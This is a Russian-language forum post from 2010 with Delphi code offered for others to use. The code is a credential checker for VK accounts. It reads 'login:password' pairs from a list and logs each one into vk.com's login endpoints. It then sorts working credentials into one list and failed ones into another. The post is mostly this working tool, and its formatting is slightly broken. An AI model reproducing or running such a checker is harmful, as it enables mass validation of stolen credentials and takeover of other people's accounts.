27.04.2010, 23:31
|
|
Участник форума
Регистрация: 18.07.2009
Сообщений: 278
Провел на форуме:
3055344
Репутация:
259
|
|
вы тут все извращенцы какие то)))) как можно с помощью pos() определить положение символа в строке???))) для этого используется ansipos()
PHP код:
procedure TForm1.Button1Click(Sender: TObject);
var
uns, s,log,pass: String;
begin
idhttp1.HandleRedirects := True;
while memo1.lines.count-1>=0 do
begin
log:=copy(memo1.lines[0],1,AnsiPos(':',memo1.lines[0])-1);
pass:=copy(memo1.lines[0],AnsiPos(':',memo1.lines[0])+1,length(memo1.lines[0]));
uns:=idhttp1.get('http://login.vk.com/?act=login&email='+log+'&pass='+pass+'&expire=&vk=');
s:=Copy(uns,Pos('value=',uns)+7,56);
try
idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s);
uns := idhttp1.Get('http://vk.com/');
memo2.lines.add(log + ':' + pass);
except
*On E: Exception do begin
* memo3.lines.add(log + ':' + pass);
* memo2.Lines.Delete(memo2.Lines.Count);
memo1.Lines.Delete(0);
end;
end;
end.
вот и весь код господи)))) проверили, добавили, удалили и се! пользуйтесь
Последний раз редактировалось EndLeSSDre@M; 27.04.2010 в 23:54..
|
|
|